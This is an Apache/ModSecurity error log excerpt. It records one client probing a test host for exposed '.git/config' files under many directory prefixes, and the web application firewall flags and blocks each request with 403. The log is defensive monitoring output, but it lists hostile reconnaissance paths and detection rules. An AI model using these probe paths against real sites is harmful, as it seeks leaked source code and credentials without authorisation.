[Mon Mar 25 22:18:15.966803 2024] [:error] [pid 2025394] [client 91.215.85.29:54292] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgw0AAAAAU&quot;]
[Mon Mar 25 22:18:15.967323 2024] [:error] [pid 2025390] [client 91.215.85.29:54244] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIwAAAAE&quot;]
[Mon Mar 25 22:18:15.967770 2024] [:error] [pid 2025390] [client 91.215.85.29:54244] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIwAAAAE&quot;]
[Mon Mar 25 22:18:15.968171 2024] [:error] [pid 2025390] [client 91.215.85.29:54244] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBIwAAAAE&quot;]
[Mon Mar 25 22:18:15.977306 2024] [:error] [pid 2025393] [client 91.215.85.29:54260] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09XAAAAAQ&quot;]
[Mon Mar 25 22:18:15.977670 2024] [:error] [pid 2025393] [client 91.215.85.29:54260] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09XAAAAAQ&quot;]
[Mon Mar 25 22:18:15.977939 2024] [:error] [pid 2025393] [client 91.215.85.29:54260] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09XAAAAAQ&quot;]
[Mon Mar 25 22:18:15.981668 2024] [:error] [pid 2027220] [client 91.215.85.29:54290] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAQAAAAY&quot;]
[Mon Mar 25 22:18:15.982010 2024] [:error] [pid 2027220] [client 91.215.85.29:54290] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAQAAAAY&quot;]
[Mon Mar 25 22:18:15.982284 2024] [:error] [pid 2027220] [client 91.215.85.29:54290] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YOAQAAAAY&quot;]
[Mon Mar 25 22:18:16.009702 2024] [:error] [pid 2025391] [client 91.215.85.29:54302] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGQAAAAI&quot;]
[Mon Mar 25 22:18:16.010275 2024] [:error] [pid 2025391] [client 91.215.85.29:54302] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGQAAAAI&quot;]
[Mon Mar 25 22:18:16.010693 2024] [:error] [pid 2025391] [client 91.215.85.29:54302] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZgHqGA7yBQMRBVFeIK9tGQAAAAI&quot;]
[Mon Mar 25 22:18:16.012202 2024] [:error] [pid 2025389] [client 91.215.85.29:54320] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWgAAAAA&quot;]
[Mon Mar 25 22:18:16.012792 2024] [:error] [pid 2025389] [client 91.215.85.29:54320] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWgAAAAA&quot;]
[Mon Mar 25 22:18:16.013139 2024] [:error] [pid 2025389] [client 91.215.85.29:54320] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;ZgHqGLUhH0n0eKl87GcSWgAAAAA&quot;]
[Mon Mar 25 22:18:16.022666 2024] [:error] [pid 2027224] [client 91.215.85.29:54340] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhQAAAAc&quot;]
[Mon Mar 25 22:18:16.022863 2024] [:error] [pid 2028694] [client 91.215.85.29:54310] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJQAAAAk&quot;]
[Mon Mar 25 22:18:16.022988 2024] [:error] [pid 2027224] [client 91.215.85.29:54340] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhQAAAAc&quot;]
[Mon Mar 25 22:18:16.023236 2024] [:error] [pid 2027224] [client 91.215.85.29:54340] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZgHqGJLtBkaAwWmXXFxMhQAAAAc&quot;]
[Mon Mar 25 22:18:16.023406 2024] [:error] [pid 2028694] [client 91.215.85.29:54310] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJQAAAAk&quot;]
[Mon Mar 25 22:18:16.023854 2024] [:error] [pid 2028694] [client 91.215.85.29:54310] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZgHqGOCYinOrL-HIbyGCJQAAAAk&quot;]
[Mon Mar 25 22:18:16.025343 2024] [:error] [pid 2027228] [client 91.215.85.29:54334] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFpwAAAAg&quot;]
[Mon Mar 25 22:18:16.025625 2024] [:error] [pid 2027228] [client 91.215.85.29:54334] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFpwAAAAg&quot;]
[Mon Mar 25 22:18:16.025841 2024] [:error] [pid 2027228] [client 91.215.85.29:54334] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZgHqGID7xpu1aVB_6ANFpwAAAAg&quot;]
[Mon Mar 25 22:18:16.026807 2024] [:error] [pid 2025392] [client 91.215.85.29:54350] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSgAAAAM&quot;]
[Mon Mar 25 22:18:16.027331 2024] [:error] [pid 2025392] [client 91.215.85.29:54350] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSgAAAAM&quot;]
[Mon Mar 25 22:18:16.027717 2024] [:error] [pid 2025392] [client 91.215.85.29:54350] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZgHqGNPKUCI6d3b2VZCJSgAAAAM&quot;]
[Mon Mar 25 22:18:16.064979 2024] [:error] [pid 2025394] [client 91.215.85.29:54366] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0QAAAAU&quot;]
[Mon Mar 25 22:18:16.068025 2024] [:error] [pid 2025390] [client 91.215.85.29:54398] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJAAAAAE&quot;]
[Mon Mar 25 22:18:16.068513 2024] [:error] [pid 2025390] [client 91.215.85.29:54398] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJAAAAAE&quot;]
[Mon Mar 25 22:18:16.068770 2024] [:error] [pid 2025394] [client 91.215.85.29:54366] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZgHqGNBOsPOWY3hOfBgw0QAAAAU&quot;]
[Mon Mar 25 22:18:16.068945 2024] [:error] [pid 2025390] [client 91.215.85.29:54398] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZgHqGIIuwaJZiPZ1lzKBJAAAAAE&quot;]
